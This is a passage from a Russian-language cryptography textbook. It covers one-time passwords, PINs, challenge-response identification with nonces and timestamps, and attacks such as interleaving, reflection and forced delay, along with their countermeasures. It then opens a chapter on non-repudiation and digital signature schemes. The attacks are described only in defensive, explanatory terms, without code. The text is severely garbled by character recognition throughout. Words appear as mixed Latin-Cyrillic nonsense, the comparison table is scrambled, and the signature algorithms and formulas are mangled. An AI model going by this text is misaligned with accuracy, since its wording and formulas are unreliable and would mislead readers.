4. Omxopasoseie Hapoaw.

[oseiuenuo HagexmocTH HACHTHQUKALMH CHY)XHT HCIONS-
JOBAHHC OZHOPA3OBLIX MAPONEH, TO €CTH napoicii, KOTOphIe MOTyT
OBITE HMCITONB30BAHBI AT MACHTADHKAIME TONBKO oRuH pa3s. Taxue
CXEMEI 0DCCIETHBAIOT 3aIHTy OT TPOTHBHHKA, MCTIOML3YIOMErO Ie-
PEXBAT MAPONEH U3 HE3AMUINEHHOTO KAHAA,
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Cy1eCTBYIOT TPH CXCMbl MCTIONB30BANKA OXHOPA30BHIX Mapo-
o i X OJHOPA30-
. HONBIOBATENM CHCTEMb MMCIOT OOIMH CHHMCOK OX
BHIX NApONeH, KOTOPHIA JOCTABIACTCA [0 3AIAICHHOMY OT Hepe-
XBaTa KAHATY CBA3H, —
~ TIEpBOHAYAIEHO [OMH30BATECIE H CHCTeMa UMEKOT OuH 00
mit cexperHbii mapoms. Bo spemd uaeHTHDHKALY, ucnonb:;r:;i
meii naponk 1, NOTb30BATEND CO3AACT H nepesacT B CHCTEMY Hi
napoms (¢ + 1), 3amdpOBAHHBIA HA KIIOWE, NONYIeHHOM H3 mapos
t-t
, — [OMB30BATENH CHCTEMBI HCTIONB3YIOT OAHOPA3OBRIC TIaponH
3 OCHOBE OAHOHATPABNCHHOH (yHKIMH.

"ITOT MPOTOKON HE JATMINACT OT AKTHRHOTO npmunuma(i)goﬂ
TOpI# TIEPEXBATHIBACT, COXPAHACT H Ejnomrpye*r nepesady m;ﬁ (E)"
mamuu o A x B jms mocneAyromeH TIONBITKHA TIOMCHBI '
nons3osaress A. TIo3TOMY 3TOT IPOTOKOI MOKET ObITh flcnomazona
TOMBKO 1% HMACHTHGUKAUMY NONBIOBATENA CHCTEMOH, ayTeHTHY
HOCTh KOTOPOH Y€ YCTaHOBICHA.

5. Jipumpe wacHTAbUKALMOHHEIC HOMEP.

Ha 31oii KaTeropui (UKCHPOBAHHAIX APOMCH CTOMT OCTaHO
puTHCs OTACBHO. OHH OOKHO MCIONB3YIOTCA B MPAJIOKEHANX, nc‘
TIONB3YIOIHX TOKCHBI (waentuduKaumio Ha OCHOBC Q)mzlrxqe::;
npubopos), A OKA3ATEABCTBA TOTO, WIO JAHHBIH Y4aCTH "
eTCs NHCTBHTENBHBIM BIAJENbLCM TOKCHA H MMECT paBo nocurzﬂnow
ONpPENENCHHEIM ~ CHCTCMHBIM pecypcam.  Beox aj:;x o
paeHTH(UKAIHOHHOr0 HOMCpa tpebyercst BO BCEX CHYTASX, 6e§|
JICTIONH30BANMH TOKEHA. JT0 0beCremBacT JIOTIONHATENLHEIH PyOex

©C/TA OH yTEPAH MK NOXHLUCH.
6630113};:11::;;4 ,uc'ropme}:mg& 0BCTOSTENLCTB (1 pns yaoberea nonb)
soBaTenei) MUUHBI HACHTH(HKAIMOHHAIH HOMEpP ABNACTCH qu;p;l
BHIM B CoAcpxmT OF 4-X 10 8 madp. [ns Toro Trodsl 06ecm.=,m;1]l ! »
3AIWTY OT €ro TOTAIHHOTO nepebopa, TPHMCHIKOTCA nonog;?:xfm;
HBIC OPTaHM3AIMOHHBIC MCpPHL. Hanpumep, GOJIhmHHCTB% ((”
TOB TP TPOEKPATHOM BBOZAC HEMPABHILHOLO HoMepa OnoKHpyY

KPEAUTHYIO KapTy. Jlna ee pasboxupoBanHus rpebyeTcs BBECTH Yk«

Gonee mmnmbi HoMep. T10CKOIBKY HOAH, KaK NpaBmio, HE MOry!
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3aTIOMHHTE KIIOYH HACTONBKO UIMHHBIG, YTOOBI ¢ MX MOMOIILIO
MOKHO Onuto Ob1 obecneuuts HeoOxoaumyr HHGOPMALMOHHYIO
6€30NAaCHOCTS CHCTEMB!, YACTO HCIOJMB3YETCH CACAYIOMAs ABYXCTY-
NEHYATAs MPONEAYPA HACHTH(QUKAIHY MTONb30BATENA.

* CHagaya ¢ MOMOIIHIO THYHOI0 HACHTUGUKAIMOHHOIO HoMEpa
NPOBEPACTCA JIMYHOCTb JIHLRA, BBOAAIErO IUIACTHKOBYIO KapTy, a 3a-
TeM COACPIKALIAACK B IUIACTMKOBOH KapTe AONONHUTCHBHAA KIIOUC-
Bas HHPOPMALMSA HCTIONB3YSTCH AN UACHTU(UKAINN €T0 B CHCTCME
(xax AeHCTBUTCALHOrO BIAACHBLA IJIACTHKOBOH KapThI, MMCIOIIETO
ONPEAENEHHNIC NPaBa J0CTYIA B cucTeme). TakuM 00pa3oM, nons3o-
BATENb, UMCIOIIMI ILIACTHKOBYIO KapTy, HOJDKEH IOMHMTBL TOJBKO
KOpOTKMH NMHIHBA HICHTHQUKALHOHHBIA HOMEP, B TO BPEMsl Kak
Gonee AR K04, COASpXKAUHIiCH Ha Kapre, obecrieunBaer He-
0bxoxMMbIi YpoBeHs Xpunrorpaduueckoil 6e30naCHOCTH MPH MACH-

'I'HQ)PIKB.LIHK B CHCTCMC, HCHOﬂb3Yl0]JICﬁ HC3AMMIUCHHBIC KAHAJIbI
CBA3H.

2. 3anpoc-oTBeT» (CANbHAT WASHTHPHKAN S ).

Haes nocrpoerus Xpunrorpaguyeckux HPOTOKOJIOB HICHTH-
(KanEH THIA «3aIPOC-OTBET» COCTOHT B TOM, YTO NOKA3LIBAXOMMI
vOeKAaeT TPOBEPSIOIRETO B CBOCH AyTEHTHYHOCTH NMYTEM JEMOHCT-
pauMK CBOETO 3HAHMS HEKOTOPOro cexpera 0e3 mpexssBiIcHus CaMo-
ro CeKpera. JHAHHE CEKPEeTa MOJTBEPMKAACTCH BBIAAUCH OTBETOB HA
MCHSIIOLIMECA C TCUCHHEM BPEMEHHU 3ampockl nposepsromero. O6bry-
10 22NPOC — 3TO THUCIO, KOTOPOe IPCBEPLIOMui reHePHPYET Ha Ha-
NANBHLIX 10AraX HPOTOKONA. ECHM KaHAu CBA3H KOHTPOIHpYETCH
IPOTUBHUKOM, 000C NOMyCTHMMOE YHCIO PEaiM3ammii IPOoTOoKOna
nIeHTHQHUKAUME HE XODKHO AaBaTh IIPOTUBHUKY BO3MOXKHOCTH M3-
niegeHms uHpopMatHH, HEOOXOAMMON A/ NOCHCAYIOMEH IOXKHOMK
naeHTndukanuy. B Taxux mpotokonax oOHYHO Henons3yiores mubo
ciygaifHBie YA, 00 YHCHA K3 HEMOBTOPSIOMWMXCS (O0BIMHO BO3-
PACTAIOMWKX) NOCHEAOBATENPHOCTEH, MO0 METKY BPCMEHH.

Yucna 13 HEMOBTOPSIOMMXCS MOCHECAOBATCABHOCTEH HCIIOMb-
WIOTCS KaK YVHUKAIBHBIE METKH COoOmenuii, obecneansaromue 3a-
HIHTY OT HABA3BIBAHMA PaHee mepejaHabx coodmenuii. Taxne no-
CJICAOBATEIBHOCTY YHCEN HCIOIB3YIOTCE HE3ABHCHMO JUIS KUKAOH
HAPH JOKA3BIBAIOMETO M npoBepsaromero. CoodmeHne NpuANMAacTCS
TOIBKO TOTAQ, KOrja ero uucno (Merka cooOinenus) He DHIO Me-
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TIOIb30BaHO paHee (HIIH B ONPEACHCHHNIH IPCAIIECTBYIOMKH HEPHO
BPEMEHH) H YIOBIETBOPAET cornacoanuoi momatuke. [Ipocreitmeii
TIOJTMTHKOH SBISETCA TAKAS: MOCNEACBATENHHOCT: HAYHHACTCS C HY-
JISL H KQXKAOE CNESAYIOMEE YHCIIO YBE/IMIMBACTCA Ha eAuHMILY. Menee
SKECTKas NMOJMHTHKA COCTOHT B TOM, Wi0 NPHHSATHIC YHCIA AOJDKHbI
TONBKO MOHOTOHHO BO3PacTaTh. JTO NO3BOICT PaboTars ¢ y4eTOM
BO3MOKHOCTH NOTEPH cOoOmeH it H3-32 ommbOK B KaHAlax CBA3H.

HenocratkoM Meroaa MCmoOnb30BaHMA MOCIGAOBATECIBHOCTEE
YHCEN SABISETCA HECOOXOAMMOCTh 3aIIOMUHAHMA HHGPOPMAIHH, Ka-
CArOmCHCA KAXKAOro JOKA3HIBAIOIETO M KAKAOTO HPOBEPAIOLIETro, a
TAIOKE HEBO3MOXKHOCTh OOHApyxeHHst COOOIIeHHH, CnenuabHO 3a-
JEPIKAHHBIX IPOTHBHHKOM.

Merki BpeMEHH MCIONB3YIOTCH A OOECTICYEHUA TapaHTH!
CROEBPEMENHOCTH W GIMHCTBEHHOCTH COODMEHWIl, a Taoke s 0h-
HApPY)KCHUA HONLITOK HABA3LIBAHWA paHee nepeiaHHoil umdopma-
iy, Onu Taroke MOryT OBITh HCHOMB30BAHBL I OOHAPYKEHHUS 110~
MBITOK 33ACPHKH HHGOPMALAM CO CTOPOHBI IMPOTHBHHKA.

Ilporokonbl, HCIONB3YIOMME METKH BPEMEHH, PEATH3YIOTCS
cneayrommMm obpasom. CTopoHa, HampaBisomas COOOEHUE, CHH
MacT NOKa3aHMd CBOMX CHCTEMHBIX YacCOB M KpHrrrorpadudecku
«IPHBA3BIBACT» HX K coobmenmo. [lomyyue Takoe coo0meHue, BTo
pas CTOPOHA CHMMACT TMOKA3aHHA CBOMX CHCTEMHBIX YacOB M Cpan-
HHBACT HX C IOKa3aHHAMM, COAepxamumucs B coobmenuu. Cood
INEHHE MPHHAMACTCH, €CIIH €0 BPEMEHHAd METKA HAXOAHTCH B IpC
JeNnax OPHEMIEMOTO BPEMEHHOTO OKHA — (MKCHPOBAHHOIO BPC

MEHHOI0 HMHTEpBaja, BHIOPAHHOrO M3 pacuera BPEMEHH, HEOOXORY-
MOro Ui 00paloTKH ¥ Nepeaavyd MaKCHMANbHO JUTHHHOIO COOOIC
HUA H MAaKCHMAJILHO BOSMOXKHOM PacCHHXPOHH3AIMH YACOB OTIP:
BHTEIS M moxydarema. B oraensHuIX coydasx And mpueMa coobmc
HHA HEOOXOAMMO, KPOME YKA3aHHOTO BBIIIE, OOCCIIEYHTE BRINOIHC
HHE YCIIOBHSI, STOOHI Ta 3KE caMas (1m Gonee paHHIL) METKA BpeMC
HH HE IPHXOMIA PAHEE OT TOTO XK€ CamMoro aGOHCHTA.
HazgexHOoCTs METOA0B, OCHOBAHHBIX HA METKE BPEMEHH, 3aBi
CHT OT HaACKHOCTH ¥ TOYHOCTH CHHXPOHH3AIMH CHCTEMHBIX 1acon.
YTO ABIMCTCA INIaBHOM mpobnemoli B Takux cucremax. [Ipeumymec:
BaMH YKA3aHHLIX CHCTEM SBIIETCA MCHBHICC YHCIO IIEPCAaBacMLI
Ui uaeHTndakanpm coobmenuil (KaKk MPaBwWiIo, OJHO), a TAKKE O
cyrcrBue TpeboBanmii mo coxpameHmIo HHOOPMAUMHU JUTA Kaxkiom
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Meroanl TPOTHBOASHCTBYS BKIIIOYAIOT HCIONB30BAHUE NPOTO-
KOJIOB THNA <«3aIpoc-OTBET», HCHOIb30BAHHE BPEMEHHBIX METOK,
CiyualiHBIX YMCEN MM BO3PACTAIOMAX TIOCNEAOBATEIbHOCTCH YHCEN.

3. KomOunuposausas araka (interleaving attack) — noameHa
WM JPYroi MEeTOX OOMaHa, UCHOB3YIOUHI KOMOHHALMIO JaHHBIX

U3 PaHee BBHIIOJIHEHHBIX HPOTOKONOB, B TOM YKCIIE NMPOTOKONOB, pa-
HEe HaBA3aHHBIX TPOTHBHUKOM.

Meroa npoTHBOACHCTBHSA COCTOMT B 00ECHEUCHMH LIEIOCTHO-
CTH IPOBOJHMMBIX IIPOTOKOJOB M OTACIBHBIX COOOLICHHH.

4. Ataka OTpasKeHHMEM — KOMOMHHPOBAHHAS ATaKa, MCIOIb-
3YIOLIAs MOCHUIKY YaCTH MPUHATON MHPOPMAIIMH OTHPABHTEINIO.

Meroasl nPOTHBOACHCTBAA BKIIOYAIOT BBEACHHE B IPOTOKOI
HACHTHOUKAUMOHHON MHPOPMALMH NIPOBEPSIOUIETO, HCIIONB30BAHUE
PasNMHUHBIX KIIIOYCH AJIf MpHeMa U Nepetay COOOINCHHH.

5. 3ameprkka nepegayun coobmenus (forced delay) — mepexsar

NPOTHBHUKOM COOOIECHAS U HABA3BIBAHUE €ro B 6once mo3gHui Mo-
MEHT BPEMEHH.

Meroapl TpOTHBOACHUCTBHS BKIIOYAIOT HCIOMB3OBAHME CIIY-
qaliHbIX YMCEN COBMECTHO C OTPaHHYCHHEM BPEMEHHOTO MPOMEXKYT-
Ka JJI% OTBETR, HCIIONb30BAHKE BPEMCHHBIX METOK.

6. Vicnons30BaHNe NMPOTHBHUKOM CBOMX CPEJACTB B_KAayeCTBE
9acTH TENEKOMMYHHMKAIMOHHON| CTPYKTYPHI — ATaKa, PH KOTOPOH B
nporokoie uxeHtndurauun Mexay A u B nporusauk C BXOAMT B
TETCKOMMYHHKALHOHHBIH KaHAJT ¥ CTAHOBHTCS €r0 YacThlO IPH pea-
amzamuu nporokona Mexay A u B. Tlpm stom mporuBHMK MOXeT
noaMeHuTh HHGOPMALHIO, iepeaaBacMyio Mexay A u B.

TporuBoacHcTeMe 3TOH aTake COCTOMT B MCHOMB30BAHHMH 3a-
WMINEHHOro KaHana Mexxay A u B.

B 3axmoueHHe oTMETHM ClieAyIOmEee. AYTEHTHYHOCTh UACH-
THhHMKAUNAE MOXKET OBITh FapaHTHPOBAHA TOJNBKO B MOMEHT 3aBEpIUE-
HHS IpoToKoia. TIpu 3TOM MMEeTCs OacHOCTS TOTO, YTO IMPOTHBHUK
HOAKIIOYHTCS K JTHHHUM CBA3M IOCIEC OKOHYAHHS HpPOLECcCa HACHTHU-
tukanyu, Beasas ceOs 3a 3aKOHHOrO roJib3oBaTend. Jug uckiode-
HUS 9TOH BOMOMKHOCTH CJICAYST COBMECTHTH Nnpouece uneHTHduka-
UMM B 3yTEHTHQUKAUMHE C NPOLECCOM YCTaHOBIECHUS OOINEro ceaH-
COBOrO KJIFOYA, KOTOPBIA MOLKCH OBITH WCIONB30BAH AN 3aIMUTHI

nepesaBacMoH MH(OPMaLMH JO Pa3phiBa COCAMHEHHS WM IIOBTOP-
HO npoLeAypsl ayTeHTHDHKAIHH.
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TJIABA 12.
KomnbroTepHast Kpnmorpa(bnn. ObecneyeHne HeoCTOpHUMOCTH

UYerpepTas 3a/ada Kpumorpac’puu __ oBecreucHre HEOCTIOPH-

MOCTH WA HCBOSMO)KHOCTH oTKasa oT aBTOpCTBa.

HamoMHUM OnpeACTICHHE:
ObecneueHue HeOCIOpHMOCTH (HeBO3MOMHOCTH orKasa oT
aBTOPCTBA) — peAOTBPALICHIC BO3MOXHOCTH OTKa3ad CyOBEKTOB
IHEHHBIX IMH neiicTBUM.

OT HCKOT OpBIX 3 COBEP

B COBpeMGHHOM MUDPE JacTo HpHXOIlHTCSl 3aKNIO4YaATh paanm—

[BIC coOrnameHus 1 jorosopa, AaBaTh nopy4eHuA ¥ TI- QO6BIYHO OHU
CKpEILIoTCA romuceo. OnHaKo KaKk ObITB C 3ICKTPOHHBIM HOKY-
M¥1 TIO JIEKTPOHHOH nioute’?

MEHTO000pOTOM HIH JaKe TOCTAHMA
B HekoTOpHIX cuTyauusix, panpumep B CHIY HM3MEHHBIIIXCS
O’FKmeCﬂ oT paﬁee l'IpI/IHSI—

OGCTOﬂTeJ'leTB, OTllCﬂbeIC aana MoryT

ThIX 00s3aTENbCTB. B cBs3u ¢ OTHM HeoBXOAMM HEKOTOPHIH MEXa-
H@3M, TIPETATCTBYIO

i roAO0OHBIM [IOTBITKAM .
Tak kak B JAHHOM CHTYalH npex

ONIAraeTcs, 9T CTOPOHEL HE
JOBEPAIOT IPYT ApYTY, TO HCTIONH30BAHNC oBLIETO CEKPETHOTO KO-
ol TpoOIeMbL

ya Ui PELICHUA OCTaBJIc CTAHOBHMTCS HEBOMONC
apiM. OTIPaBATSIb MOXET OTKa3aThes OT axra nepeaa coolme-

HU, yrsep;wlaﬂ, yTQ €ro co3al caM HOIIY‘{aTCIIL ((YT Ka3 OT aBTOpPCT-
o MEHHATD U1

pa). 1lomysareib JIErKO MOXET Moxu(UIPOBATE,
cO31aTh HOBOC coODIEHHE, a 3aTEM yTBEpKAATD, HTO OHO TONY4CHO
OT OTIpaBHTEIA (npUITACHIBAHUC aBTOPCTBA) ScHo, 4TO B TaKoil CH-
Tyalun apOuTp TpH peuienyuy cropa ge GyAeT HMCTh BO3MOMKHOCTD
yCTaHOBUTR WCTUHY.

OCHOBHBIM MEXaHH3MOM peLIeHs yroit mpobIeMBl ABJIACTCS

rak Ha3pIBacMal poBast MOATHCD-
cooDueHuA gBIIACTCA UCTOM, 3a-

udposast noANMUCH AL
BUCALIAM OT €aMOro coobmenusd 1 oT HEKOTOPOro TAiHoTO, H3BECT-
HOrO TONBKO [OATHCHIBAIOLIEMY cyOBeKTy, Ko4a- [{ugposasd NOA

uch foiDKHa OBITH JIETKO nposepﬂeMoi«i } mpoBepKa TOATHCH HC

O/DKHA TpedoBaTh pocTyna K TaiHOMY KJIIOMY-

Tpu BO3HAKHOBCHHH CIIOpHOH CHUTyalHH, CcBSI3AHHOM € OTKd
30M [IOIIMCHIBAIOICTO ot (axra MOANIHCH UM HEKOTOpOro coolIm
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HHAA 0O
C TIOIIRITKOH IT
HMETh BO3MO, ONAEIKH TIOATHCH, TPETh.
JHOCTS PASpEIINTS CTIOD. s CTOPOHA JOIDKHA

Hudposas
- pOBas MOIHCH HO3BONAET PEINHTD CICAYIONME TP
TPH 332~
~ OCYINCCTBHTD Q
yTeHTH(DHKALHIO
N HCTO
YCTAHOBHTH LETOCTHOCTD co0611131{14;1"“’:“Ka cooouenn

~ obecneuuT
b HEBO3MOMCHOCTD OTKA33
KOHKPETHOTO COOOLIEHHM. b or (akra mozmucH

Hcnons
30BAHHC TE]
ONpaBJAHO TEM, UTO quI)’;M Ha <«IOANHCE» B JAHHOM KOHTEKC
OOLIYHOM; 0Basd TIOATH TC
i cobcrTB . Cb HMMECT MH
Cmeﬂﬂopyq}:;“opyqnm TIOAMUCEIO HA 6yMaxcﬂ:;o oomero ¢
1o, TRICH JOKYM
SANATH, OAHAKO Memyf)nSI:f:H IOKS pemmiacT TpH ﬂepe‘mcne;};&
CYLICCTBCHHBIC pasnn<iui COH H updpoBoi MOATHCAME HME 1¢
obwranoit 1 udposoi Hoz:t;;m BEAECM OCHOBHHIC pa3IH4HsA Mem;
cAMA B Tabmug
y.

C “ €] 0] 0, C
I
- CHUT OT ITOMITHCHIBACMOI 0 TEKCTA,
epa3pHBHO CBA3aHa 3

l ] , C MIDONIHMCHIBAKO- OItpe)Ieﬂﬂe TCA TaﬁHbIM KJHO- HOM, “pﬂ
C! : CB: aﬂeJILHCM.
Pi( Oor HOCHTECIIA y

!le()l eImMMa (6yMarn), HQI'KO OTOcrMa o1 J.IOKYMeHTa lloaloMy

Hndposas noymich

He 1peGyer
V1A peank3alyy
JONOIHM- | TpefyeT JONONMMTENEHBIX MEXaHHIM
0B,

TENBHBIX MCXaHK3
MOB
PCAMIYIOTIMX
ATCPUTMEL €€
YISt 7 TIDOBEPKH BEIMMCIIE-

He 1pe6
e YET CO3JAHES TIOIEPKHBAIOIEH

HHQPACTPYKTYD
, . TpeSyer cospamitn noepemmiolf Mudpa-

CTYKTYPH  CePTH(HKaTOB  OTKPHITHIX

KHOYCH.

Qs peanmsan
uv .
anropuTMa: cxeMpl IH(POBOH MOAIHCH HEOOXOXUMBI J1Ba

— aATOPHTM BBIY
e pcnerEn MHGPOBOH moamucy;
rpoBepku LudPOBOI MOHCH ’

169



3aKTIOUAloTCs B HO-
503 m%m:nwem nopmack 6e3 chonbs;?:ﬁ?
B i rapaHTHpOBAHVH BO3MONKHOCTH npox;?i)II o
CEKpPETHOTO Knxoqa:;mﬁ_m& CexpeTHON uHpOpMATHH. iy
miege; 3:;1:(:3 GuiTh OOIIEAOCTYDHEM, Bl TIPOBEP
gﬁbﬂ?‘lﬂh l:l?ﬂn::r?ct:;bﬁﬂn:lng;mﬁ TOANMCH onpeneIeTCa CIIOMX-
ajge

b_
JOMUMCA BIIANCT
JMIOM, HE BT
JOKyMEHTOM
CH TIOR 3ajaHHBIM

Oro Kmo4a; -
e cerﬂ;InaHm MOANKCAHHOrO coobueHus, TOH“eCTbeM o cnxmsl;
o ro coobDmeHMA € IpaBILTBHBIM 3HAYC T D,unnmmm
X O coobmenus, TO eCTh noxbopa ABYX [
— TOIMEHBI .

TIONITACH.
coobmenni © ONMMHAKOBBIMH JHAgEHUAMHE TIOATH

HO
HO HECKOIBKO Ilpﬂmlmﬂ’laﬂb

IO .
B macromice MRC e cxem nudposoH TIOAITACH.

pas:mtmbxx poaXoA0B K CO3IaHAIO

AUTH i TPYIIIBL

0 pasAe HA TP cvem

Mo 1p CxeMBl Ha OCHOBC CUMM erpﬂqnbrxgzw ”
2. CxeMpbi Ha OCHOBC CHCTEM mudpo

mru(poBAHHT;

—— a3paboTaHHBIMA ajropuTMamMA

3.CexemMpl €O crelHANbHO P
' .
BEAUCIICHIS 1 [IPOBCPKH FOXITAC

Gomee NOAPOOHO.

P M 1oadpoBai.

T ot HOBE CHMMETDITTHEIX CHCTE s,
L JIHCH MOKHO HC

ae TIOANHUCHIO
a CEKpETHOM KIIOHe c000-

Jins co3paHMA cxemsl LutpoBoH 110

aQ

MyXKKTH CAMO 3 S 0o
. o # HEIOCTATOK TaKuX no,nnnceli COCTO >
o c ocne KOKAOH npoBeP

HCTBCHHBIH BBHIXOX 3

menne. OAHAKO OCHOB
TOM, 4TO OHH gBASIOTCH O
cexpeTHBIH K0T CTAHOBHTC

THOpA30BHIMA: IT
o M3BECTHBIM. Ema

i AMKAX. H
ol cuTyarun B P B o
. M — 3TO BBCACHHC JOBEpEHHOH TPET o GO e or
o dynxupH MOCPEAHUKR, KoTOpOoMy AOBED
med

p pe
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OTKPHITHIMH KO-

pbix. mudpock-
HUSL CHMMETPIT |
sy j1 CTOPOHBL, BBITIOHSIO-
oposs. B
epe3 MocpeaAnHKd, on
¢ KII0"a OfHoro M

aOOHEHTOB Ha Km0Y Apyroro. EcrecrBeHHO, 3Ta CXeMa sBuAeTCA
KpaiiHe HeyROOHOH.

2. CxeMBI Ha OCHOBE CHCTEM IW(POBAHKNS C OTKPHITHIMH KITFO-
4amu.

Ilpn wmcmonp3oBasmH WHPPOCHCTEM ¢ OTKPHITHIM KIFOYOM
BO3MOJKHBI JBa MOAXOJa K MOCTPOSHHIO cHCTeMBl LudpoBoiil noxma-
CH.

IepBhiii mozxox cocrour B npeoOpa3oBaHMM COODINCHHA B
dopmy, HO KOTOPOH MOXKHO BOCCTAHOBHTH CaMO COOOIICHHE H TEM
CaMbiM MpPOBEPHTh MPABUIBHOCTh <«IIOANKCH». B JaHHOM ciydae
HOATIMCAHHOE COOOMIEHNE UMEET, KaK IPABHIO, TY XK€ JUIMHY, ITO H
ucxonuoe coobmenne. s co3qaHmu TAKoro «HIOANHCAHHOIO Co0b-
LCHVs» MOXHO, HANpHMEp, MPOH3BECTH MH(POBAHHME HCXOXHOIO
cooOIcHUA HA TAHHOM XIIOYE ABTOPA HOAMHCH. TOrAa KaoKAbIH MO-
XKET TPOBEPUTH HPABAIBHOCTh MOINKCH IyTeM pacimmdgpoBanms
[OAMHCAKHOIO COOOIEHNMS HA OTKPHITOM KIIIOYE ABTOPA ITOANIHCH.

210 cxema mH@POBAHMA C OTKPHTHM KIIOUOM, NPHMEHEHHAS
naobopor. Ilycrs wmeercs nmapa upeobpasosanmii (E, D), nepsoe u3
KOTOPBIX 33BHCHT OT OTKPHITOrO KJIIOHA, a BTOPOE — OT CEKPETHOrO.
Jins Toro 4ro0k BEMMHCIUTE WH(PPOBYIO TOAMHCh S 119 COOBIIeHuU,
BIIAJCACL] CEKPETHOTO KIOYa MOXET NPHMEHWTH, K coodmernmo M
sTopoe npeobpasosanne D: S = D(M). B takom ciydae BerMHCIHTD
MOANMCH MOXKET TONBKO BIQJENEL TAHHOTO KIOYA, B TO BpeMs Kak

nposeprTs paseHeTBC E(S) = M Moxer xampif. OcnopusiMu Tpe-
6oBanuamu k npeobpasosarusm E u D sssnores:

~ ainonaenue pasencrea M = E(D(M)) ms Becex cooOmermrin
M;

~ HECBO3MOXKHOCTH BEIYMCICHHS 3HaueHua D(M) ans 3ananmo-
ro coobiuenna M Ge3 3HaHMs TAHHOTO KIIOY4.

OrmraurebHON 0COOEHHOCTHIO TPENATOXKEHHOTO CrIocoba 1mo-
CTpocHHS LH(POBOH NOAHCH ABNACTCA BO3MOKHOCTD OTKA3ATHCA OT
nepesads caMoro NOANHUCHBagMOro coobmenms M, Tak kak ero
MOXCHO BOCCTAHOBHTH IIO 3HAYCHHWIO NOANHCH. B cBa3u ¢ 3tHM no-

JOOHEBIE CHCTEMBI Ha3BIBAIOT CXeMAMU YUPPOoBol nodnucu ¢ eoccma-
HOGREHUEM MEKCd.
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3aMeTuMm, UTO €CITH TIPH nepeaade COOOIEHHE JONOTHUTENHHO
mudpyercs ¢ noMompio acummMerpraHoro rmudpa, To napa npeodpa-
sosanuii (E, D), ucnonssyemas B cxeme undpoBoif noaImcH, JODKHA
OTJMYATECA OT TOH, KOTOpas UCHONb3yeTcs A wHdpoBaHus cool-
mensii. B nporHBHOM Ciiydae MOABIAETCA BO3MOXHOCTD NEPeIayH B
kagecTB¢ muGpoBaHHHMX paHee nomnHcaHHBX coobmenmii. [lpx
3TOM Gonee nenecoobpasno mubposaTh NOAIHCAHHBIE JAHHBIC, YEM
Aearh Ha0OOpOT, TO €CTh TIOANMMCHBATH 3AITH(POBAHHBIC NAHHBIE,
TIOCKONBKY B TICPBOM CIy4ae IPOTHBHMK IONYYHT TONBKO IHpo-
TEKCT, @ BO BTOPOM — M TIOAIINCH, ¥ 1M(POBAHHLIN TEKCT.

OugeBnamo, 9To paccMoTpeHnas cxema UM(pOBOH IOKMMCH Ha
ocHoBe mapsl mpeoOpasosanuit (E, D) yaoBnersopser TpeboBaumio
HEBO3MOXHOCTH MOANENKY, B TO BPEMS Kak TPeOOBaHHE HEBO3ZMOX-
HOCTH CO3NAHMY NIOANMCANHOrO cOOOINeHug He BRINOIHEHO: I JI0-

60ro 3naueHus S KAKIBH MOXET BHYHCIHMTD 3Hadeuue M = E(S) u
TEM CAMhIM MONY9MTH TIOAMMcaHHOe cooOmenme. TpeOosanue He-
BO3MOXXHOCTH TOAMEHBI COOOIIEHMS 3aBEAOMO BRIMOJIHACTCA, Tak
Kax npeoOpa3zosanue E B3auMHO OXHO3HAYHO.

JUa zamarsl OT CO3/aHMs 3MOYMBINUICHHUKOM HOATIMCAHHOTO
COOOINEHHA MOXHO NPHMCHUTh HEKOTOPOE B3AHMHO-OJHO3HAYHO!
oTOOpakeHHe, BHOCAIIES WIOHITOIHOCTh B IPEACTABICHHE MCXOAHO
ro COOOMmeHHS, HANPUMED, IYTEM YBEIMYCHHA €ro JIHHEL, a 3aTeM
yXKE BRYHMCIATh NOANHCh. B 3TOM Ccny4ae 3NOyMBIUIEHHHK, MOADH
pas S u Brrmcnss 3uaucHns M = E(S), Oyaer craakmsathes ¢ mpo
GneMoii orsickanus npoobpasza orobpaxkenus. Hanpumep, ecnm n
MEPSITh JUIMHY COOOINeHUd, A00aBNATh €¢ K COOOMEHMIO ¥ TIOATIHCH
BaTh PE3YNIBTAT, TO NOYMHILUICHHUK JODKECH OyAeT HE IPOCTO 1o
JoOpaTth MOAMMCE S C YCTPAMBAIOWHM €ro 3Ha4CHHEM Tekcra M, .
ZobuThCS CoBmaAcHUS (axTHIECKOH ANMHEI COODEHMs C mepe/
BaGMbIM 3HAYCHHEM. DTO — caMslif HPOCTOH NPHMEP, ODBIYHO i
TIONB3YIOTCA 0ONee CIHOMKHBIE ANTOPHTMBI OTOOPaXKCHHMI.

TIpu BTOpOM MOAXOAC WOANMCH BHIYHCISETCH M MEpeact:
BMECTE C MCXOIHEIM COOOIIEHHEM. BRIYHCICHHE NOAMHUCH 3AKITION.
ercd B mpeoOpa3oBaHMM UCXOAHOTO COOOINEHHUA B HEKOTOPYIO nn)
POBYIO KOMOUHAIMIO (KOTOpas M ABIAETCH TOAIHCHIO). AIropiin
BBIUHCICHMS TOJNMCH AODKEH 3aBHCETh OT TAHHOrO KJIXOYA IO o
BaTend. 310 HeOGX0MMMO i TOro, IT00K BOCIONB30BATHCH IO/

H3BECTHEIM

% peanms CbYHKqu AOmKHA Gprry, on
KITI0yaMm Al cucrey 1ndh .
H MOXHO HCrIom 30 POBOJ

WHposanyy, HanpuMep
b

3. Cxe
: MBI BpIyyc
AIbHBIX g1 JCHUS udhpoposs
FOPHTMOR BOW ITOamicy
SR ATOpUTMOB, HA OCHOBe
cnenu-

6
CCKII0YCBay Xy "
4 Hb](y
HOHaHpaB T .
CHHOJ,

o,
ANHCH ¢ O’I’KprTLIMH

H; (f,.q. B Kauecrge TaHHoro
B
aTh M pasmyggy ciy-
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TOOM OOBABIACTCH pabop

i=1..,m
ucy ANs c000

gaifHBIX HAced i A7y ooer O OTKpHITHIM
=(a;' Y mod 1,

qucen by, b1 - b TAS b,
AJITOPHTM priUCICHAN um?ppoaoﬁ TOANT
M cocTOouT B BHINOJHCHAN caenyoumx neﬁcmnﬁ:

1. BriOpaTth cayuaiHoe quono 1, 175 n—1.

2. BeaucATh U = # mod n.
3. BoraucmTh h(M,u) =S5 = (81> 520 -+
m

4, Byraucmute =7 -Haf‘ mod n .

i=1
coo0ueHust M TIONONHTD napy (5, 1.

ICHAA
3 Sm) .

5. TlognuchIo s

ATIACH COCTOHUT B BbIYIOIIHCHHﬂ cne-

AnroputM nposepKyA 1O

AyIOmpx Aeﬁcmuifl:
1. Tlo OTKPHITOMY xmiouy b1

m
BEMUCIHTE W= i | ‘bf i mod n

b1y oo b mod n # aHAYCHMIO {

i=l

1
7. BpiagacmiTh h(M,w) = 5.

3, TIposepuTh paBeHCTBO § = 5.
BO3MOKHOCTE

